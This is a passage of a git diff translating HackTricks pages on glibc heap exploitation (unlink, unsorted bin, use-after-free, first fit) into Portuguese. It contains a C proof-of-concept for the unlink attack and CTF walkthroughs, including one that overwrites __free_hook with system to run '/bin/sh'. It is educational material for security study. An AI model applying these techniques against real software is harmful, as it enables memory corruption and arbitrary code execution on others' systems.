+unsigned long long *chunk1, *chunk2;
+struct chunk_structure *fake_chunk, *chunk2_hdr;
+char data[20];
 
-  // First grab two chunks (non fast)
-  chunk1 = malloc(0x8000);
-  chunk2 = malloc(0x8000);
-  printf("Stack pointer to chunk1: %p\n", &chunk1);
-  printf("Chunk1: %p\n", chunk1);
-  printf("Chunk2: %p\n", chunk2);
+// First grab two chunks (non fast)
+chunk1 = malloc(0x8000);
+chunk2 = malloc(0x8000);
+printf("Stack pointer to chunk1: %p\n", &chunk1);
+printf("Chunk1: %p\n", chunk1);
+printf("Chunk2: %p\n", chunk2);
 
-  // Assuming attacker has control over chunk1's contents
-  // Overflow the heap, override chunk2's header
+// Assuming attacker has control over chunk1's contents
+// Overflow the heap, override chunk2's header
 
-  // First forge a fake chunk starting at chunk1
-  // Need to setup fd and bk pointers to pass the unlink security check
-  fake_chunk = (struct chunk_structure *)chunk1;
-  fake_chunk->size = 0x8000;
-  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
-  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
+// First forge a fake chunk starting at chunk1
+// Need to setup fd and bk pointers to pass the unlink security check
+fake_chunk = (struct chunk_structure *)chunk1;
+fake_chunk->size = 0x8000;
+fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
+fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
 
-  // Next modify the header of chunk2 to pass all security checks
-  chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
-  chunk2_hdr->prev_size = 0x8000;  // chunk1's data region size
-  chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit
+// Next modify the header of chunk2 to pass all security checks
+chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
+chunk2_hdr->prev_size = 0x8000;  // chunk1's data region size
+chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit
 
-  // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
-  // This results in chunk1 pointer pointing to chunk1 - 3
-  // i.e. chunk1[3] now contains chunk1 itself.
-  // We then make chunk1 point to some victim's data
-  free(chunk2);
-  printf("Chunk1: %p\n", chunk1);
-  printf("Chunk1[3]: %x\n", chunk1[3]);
+// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
+// This results in chunk1 pointer pointing to chunk1 - 3
+// i.e. chunk1[3] now contains chunk1 itself.
+// We then make chunk1 point to some victim's data
+free(chunk2);
+printf("Chunk1: %p\n", chunk1);
+printf("Chunk1[3]: %x\n", chunk1[3]);
 
-  chunk1[3] = (unsigned long long)data;
+chunk1[3] = (unsigned long long)data;
 
-  strcpy(data, "Victim's data");
+strcpy(data, "Victim's data");
 
-  // Overwrite victim's data using chunk1
-  chunk1[0] = 0x002164656b636168LL;
+// Overwrite victim's data using chunk1
+chunk1[0] = 0x002164656b636168LL;
 
-  printf("%s\n", data);
+printf("%s\n", data);
 
-  return 0;
+return 0;
 }
 
 ```
-
 

 
-- Attack doesn't work if tcaches are used (after 2.26)
+- O ataque não funciona se tcaches forem usados (após 2.26)
 
-### Goal
+### Objetivo
 
-This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
+Este ataque permite **mudar um ponteiro para um chunk para apontar 3 endereços antes de si mesmo**. Se este novo local (cercanias de onde o ponteiro estava localizado) tiver coisas interessantes, como outras alocações controláveis / pilha..., é possível ler/escrever nelas para causar um dano maior.
 
-- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
-- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
-  As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
+- Se este ponteiro estava localizado na pilha, porque agora está apontando 3 endereços antes de si mesmo e o usuário potencialmente pode lê-lo e modificá-lo, será possível vazar informações sensíveis da pilha ou até mesmo modificar o endereço de retorno (talvez) sem tocar no canário.
+- Em exemplos de CTF, este ponteiro está localizado em um array de ponteiros para outras alocações, portanto, fazendo-o apontar 3 endereços antes e sendo capaz de ler e escrever, é possível fazer com que os outros ponteiros apontem para outros endereços.\
+Como potencialmente o usuário pode ler/escrever também as outras alocações, ele pode vazar informações ou sobrescrever novos endereços em locais arbitrários (como no GOT).
 
-### Requirements
+### Requisitos
 
-- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
-- Stack leak in order to set the pointers of the fake chunk.
+- Algum controle em uma memória (por exemplo, pilha) para criar alguns chunks dando valores a alguns dos atributos.
+- Vazamento da pilha para definir os ponteiros do chunk falso.
 
-### Attack
+### Ataque
 
-- There are a couple of chunks (chunk1 and chunk2)
-- The attacker controls the content of chunk1 and the headers of chunk2.
-- In chunk1 the attacker creates the structure of a fake chunk:
-  - To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
-  - and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
+- Existem alguns chunks (chunk1 e chunk2)
+- O atacante controla o conteúdo do chunk1 e os cabeçalhos do chunk2.
+- No chunk1, o atacante cria a estrutura de um chunk falso:
+- Para contornar as proteções, ele se certifica de que o campo `size` está correto para evitar o erro: `corrupted size vs. prev_size while consolidating`
+- e os campos `fd` e `bk` do chunk falso estão apontando para onde o ponteiro chunk1 está armazenado com offsets de -3 e -2, respectivamente, então `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontam para a posição na memória (pilha) onde o endereço real do chunk1 está localizado:
 
 
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

 
-- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
-- When the second chunk is freed then this fake chunk is unlinked happening:
-  - `fake_chunk->fd->bk` = `fake_chunk->bk`
-  - `fake_chunk->bk->fd` = `fake_chunk->fd`
-- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
-- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
-  - Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
-  - Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
+- Os cabeçalhos do chunk2 são modificados para indicar que o chunk anterior não está em uso e que o tamanho é o tamanho do chunk falso contido.
+- Quando o segundo chunk é liberado, então este chunk falso é desassociado, ocorrendo:
+- `fake_chunk->fd->bk` = `fake_chunk->bk`
+- `fake_chunk->bk->fd` = `fake_chunk->fd`
+- Anteriormente, foi feito para que `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontem para o mesmo lugar (a localização na pilha onde `chunk1` estava armazenado, então era uma lista encadeada válida). Como **ambos estão apontando para o mesmo local**, apenas o último (`fake_chunk->bk->fd = fake_chunk->fd`) terá **efeito**.
+- Isso irá **sobrescrever o ponteiro para chunk1 na pilha para o endereço (ou bytes) armazenados 3 endereços antes na pilha**.
+- Portanto, se um atacante puder controlar o conteúdo do chunk1 novamente, ele poderá **escrever dentro da pilha**, podendo potencialmente sobrescrever o endereço de retorno pulando o canário e modificar os valores e pontos de variáveis locais. Mesmo modificando novamente o endereço do chunk1 armazenado na pilha para um local diferente onde, se o atacante puder controlar novamente o conteúdo do chunk1, ele poderá escrever em qualquer lugar.
+- Note que isso foi possível porque os **endereços estão armazenados na pilha**. O risco e a exploração podem depender de **onde os endereços do chunk falso estão sendo armazenados**.
 
 
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

 
-## References
+## Referências
 
 - [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
-- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
-  - CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
-    - In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
-  - Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
-    - Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
-  - CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
-    - There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
+- Embora seria estranho encontrar um ataque unlink mesmo em um CTF, aqui você tem alguns writeups onde este ataque foi usado:
+- Exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
+- Neste exemplo, em vez da pilha, há um array de endereços malloc'ed. O ataque unlink é realizado para poder alocar um chunk aqui, portanto, sendo capaz de controlar os ponteiros do array de endereços malloc'ed. Então, há outra funcionalidade que permite modificar o conteúdo dos chunks nesses endereços, o que permite apontar endereços para o GOT, modificar endereços de função para obter vazamentos e RCE.
+- Outro exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
+- Assim como no exemplo anterior, há um array de endereços de alocações. É possível realizar um ataque unlink para fazer o endereço da primeira alocação apontar algumas posições antes de começar o array e sobrescrever esta alocação na nova posição. Portanto, é possível sobrescrever ponteiros de outras alocações para apontar para o GOT de atoi, imprimi-lo para obter um vazamento de libc e, em seguida, sobrescrever o GOT de atoi com o endereço de um gadget.
+- Exemplo de CTF com funções malloc e free personalizadas que abusam de uma vulnerabilidade muito semelhante ao ataque unlink: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
+- Há um overflow que permite controlar os ponteiros FD e BK do malloc personalizado que serão (custom) liberados. Além disso, a heap tem o bit de execução, então é possível vazar um endereço da heap e apontar uma função do GOT para um chunk da heap com um shellcode para executar.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index 65d509c48..e2e38c8a8 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -1,73 +1,73 @@
-# Unsorted Bin Attack
+# Ataque de Bin Não Ordenado
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-For more information about what is an unsorted bin check this page:
+Para mais informações sobre o que é um bin não ordenado, consulte esta página:
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
+Listas não ordenadas podem escrever o endereço para `unsorted_chunks (av)` no endereço `bk` do chunk. Portanto, se um atacante puder **modificar o endereço do ponteiro `bk`** em um chunk dentro do bin não ordenado, ele poderá **escrever esse endereço em um endereço arbitrário**, o que pode ser útil para vazar endereços do Glibc ou contornar algumas defesas.
 
-So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
+Então, basicamente, esse ataque permite **definir um grande número em um endereço arbitrário**. Esse grande número é um endereço, que pode ser um endereço de heap ou um endereço do Glibc. Um alvo típico é **`global_max_fast`** para permitir a criação de bins de fast bin com tamanhos maiores (e passar de um ataque de bin não ordenado para um ataque de fast bin).
 
 > [!TIP]
-> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
+> D> ar uma olhada no exemplo fornecido em [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) e usar 0x4000 e 0x5000 em vez de 0x400 e 0x500 como tamanhos de chunk (para evitar Tcache) é possível ver que **atualmente** o erro **`malloc(): unsorted double linked list corrupted`** é acionado.
 >
-> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
+> Portanto, esse ataque de bin não ordenado agora (entre outras verificações) também requer ser capaz de corrigir a lista duplamente encadeada para que isso seja contornado `victim->bk->fd == victim` ou não `victim->fd == av (arena)`, o que significa que o endereço onde queremos escrever deve ter o endereço do chunk falso em sua posição `fd` e que o `fd` do chunk falso está apontando para a arena.
 
 > [!CAUTION]
-> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
+> Note que esse ataque corrompe o bin não ordenado (daí pequeno e grande também). Portanto, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa travará.**
 >
-> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
+> Note que sobrescrever **`global_max_fast`** pode ajudar nesse caso confiando que o fast bin será capaz de cuidar de todas as outras alocações até que a exploração seja concluída.
 
-The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
+O código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explica isso muito bem, embora se você modificar os mallocs para alocar memória grande o suficiente para não acabar em um Tcache, você pode ver que o erro mencionado anteriormente aparece impedindo essa técnica: **`malloc(): unsorted double linked list corrupted`**
 
-## Unsorted Bin Infoleak Attack
+## Ataque de Vazamento de Informação de Bin Não Ordenado
 
-This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
-Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
+Este é na verdade um conceito muito básico. Os chunks no bin não ordenado terão ponteiros. O primeiro chunk no bin não ordenado terá na verdade os links **`fd`** e **`bk`** **apontando para uma parte da arena principal (Glibc)**.\
+Portanto, se você puder **colocar um chunk dentro de um bin não ordenado e lê-lo** (uso após liberação) ou **alocá-lo novamente sem sobrescrever pelo menos 1 dos ponteiros** para então **lê-lo**, você pode ter um **vazamento de informação do Glibc**.
 
-A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
-Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
+Um [**ataque semelhante usado neste relatório**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) foi abusar de uma estrutura de 4 chunks (A, B, C e D - D é apenas para evitar a consolidação com o chunk superior) então um estouro de byte nulo em B foi usado para fazer C indicar que B estava não utilizado. Além disso, em B os dados `prev_size` foram modificados para que o tamanho em vez de ser o tamanho de B fosse A+B.\
+Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk de tamanho A foi alocado e então os endereços vazados da libc foram escritos em B de onde foram vazados.
 
-## References & Other examples
+## Referências e Outros Exemplos
 
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
-  - The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
-  - It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
-  - The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
-  - Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
-  - Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
+- O objetivo é sobrescrever uma variável global com um valor maior que 4869 para que seja possível obter a flag e o PIE não está habilitado.
+- É possível gerar chunks de tamanhos arbitrários e há um estouro de heap com o tamanho desejado.
+- O ataque começa criando 3 chunks: chunk0 para abusar do estouro, chunk1 para ser estouro e chunk2 para que o chunk superior não consolide os anteriores.
+- Então, chunk1 é liberado e chunk0 é estouro para que o ponteiro `bk` de chunk1 aponte para: `bk = magic - 0x10`
+- Então, chunk3 é alocado com o mesmo tamanho que chunk1, o que acionará o ataque de bin não ordenado e modificará o valor da variável global, tornando possível obter a flag.
 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
-  - The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
-  - Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
-  - Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
-  - As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
-  - Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
-  - Now a **fast bin attack** is performed:
-    - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
-    - 
gef➤  p &__free_hook
-      $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-      gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-      0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-      0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-      

-      - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
-    - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
-    - Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
-    - Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
-    - And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
-  - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-    - Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
+- A função de mesclagem é vulnerável porque se ambos os índices passados forem o mesmo, ela irá realocar nele e então liberá-lo, mas retornando um ponteiro para essa região liberada que pode ser usada.
+- Portanto, **2 chunks são criados**: **chunk0** que será mesclado consigo mesmo e chunk1 para evitar a consolidação com o chunk superior. Então, a **função de mesclagem é chamada com chunk0** duas vezes, o que causará um uso após liberação.
+- Então, a **função `view`** é chamada com o índice 2 (que é o índice do chunk de uso após liberação), o que **vazará um endereço da libc**.
+- Como o binário tem proteções para alocar apenas tamanhos maiores que **`global_max_fast`**, então nenhum fastbin é usado, um ataque de bin não ordenado será usado para sobrescrever a variável global `global_max_fast`.
+- Então, é possível chamar a função de edição com o índice 2 (o ponteiro de uso após liberação) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criando um novo chunk usará o endereço livre anteriormente comprometido (0x20) que **acionará o ataque de bin não ordenado** sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins.
+- Agora um **ataque de fast bin** é realizado:
+- Primeiro de tudo, descobre-se que é possível trabalhar com fast **chunks de tamanho 200** na localização **`__free_hook`**:
+- 
gef➤  p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
+0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
+0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+

+- Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
+- Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
+- Então, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função anterior **`__free_hook`**.
+- Em seguida, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk de fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
+- E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de deletar, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
+- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
+- Outro exemplo de abuso de um estouro de 1B para consolidar chunks no bin não ordenado e obter um vazamento de informação da libc e então realizar um ataque de fast bin para sobrescrever o malloc hook com um endereço de um gadget.
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
-  - We can only allocate chunks of size greater than `0x100`.
-  - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
-  - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
+- Só podemos alocar chunks de tamanho maior que `0x100`.
+- Sobrescrever `global_max_fast` usando um ataque de Bin Não Ordenado (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
+- Ataque de Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md
index d6fd34f42..3e07371ac 100644
--- a/src/binary-exploitation/libc-heap/use-after-free/README.md
+++ b/src/binary-exploitation/libc-heap/use-after-free/README.md
@@ -2,16 +2,16 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
+Como o nome sugere, essa vulnerabilidade ocorre quando um programa **armazena algum espaço** no heap para um objeto, **escreve** algumas informações lá, **libera** aparentemente porque não é mais necessário e então **acessa novamente**.
 
-The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
+O problema aqui é que não é ilegal (não **haverá erros**) quando uma **memória liberada é acessada**. Assim, se o programa (ou o atacante) conseguir **alocar a memória liberada e armazenar dados arbitrários**, quando a memória liberada for acessada a partir do ponteiro inicial, **esses dados teriam sido sobrescritos**, causando uma **vulnerabilidade que dependerá da sensibilidade dos dados** que foram armazenados originalmente (se era um ponteiro de uma função que seria chamada, um atacante poderia saber controlá-lo).
 
-### First Fit attack
+### Ataque First Fit
 
-A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
-Check more info in:
+Um ataque first fit visa a forma como alguns alocadores de memória, como no glibc, gerenciam a memória liberada. Quando você libera um bloco de memória, ele é adicionado a uma lista, e novos pedidos de memória puxam dessa lista a partir do final. Atacantes podem usar esse comportamento para manipular **quais blocos de memória são reutilizados, potencialmente ganhando controle sobre eles**. Isso pode levar a problemas de "use-after-free", onde um atacante poderia **mudar o conteúdo da memória que é realocada**, criando um risco de segurança.\
+Confira mais informações em:
 
 {{#ref}}
 first-fit.md
diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
index 7bab07aea..889138d6b 100644
--- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
+++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
@@ -4,36 +4,33 @@
 
 ## **First Fit**
 
-When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
+Quando você libera memória em um programa usando glibc, diferentes "bins" são usados para gerenciar os blocos de memória. Aqui está uma explicação simplificada de dois cenários comuns: bins não ordenados e fastbins.
 
-### Unsorted Bins
+### Bins Não Ordenados
 
-When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
+Quando você libera um bloco de memória que não é um bloco rápido, ele vai para o bin não ordenado. Este bin atua como uma lista onde novos blocos liberados são adicionados à frente (a "cabeça"). Quando você solicita um novo bloco de memória, o alocador olha para o bin não ordenado de trás para frente (a "cauda") para encontrar um bloco que seja grande o suficiente. Se um bloco do bin não ordenado for maior do que o que você precisa, ele é dividido, com a parte da frente sendo retornada e a parte restante ficando no bin.
 
-Example:
-
-- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
-- When you free `a`, it goes to the unsorted bin.
-- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
-  - `c` will be pointing to the previous `a` and filled with the `a's`.
+Exemplo:
 
+- Você aloca 300 bytes (`a`), depois 250 bytes (`b`), libera `a` e solicita novamente 250 bytes (`c`).
+- Quando você libera `a`, ele vai para o bin não ordenado.
+- Se você então solicitar 250 bytes novamente, o alocador encontra `a` na cauda e o divide, retornando a parte que atende ao seu pedido e mantendo o restante no bin.
+- `c` apontará para o anterior `a` e será preenchido com os `a's`.
 ```c
 char *a = malloc(300);
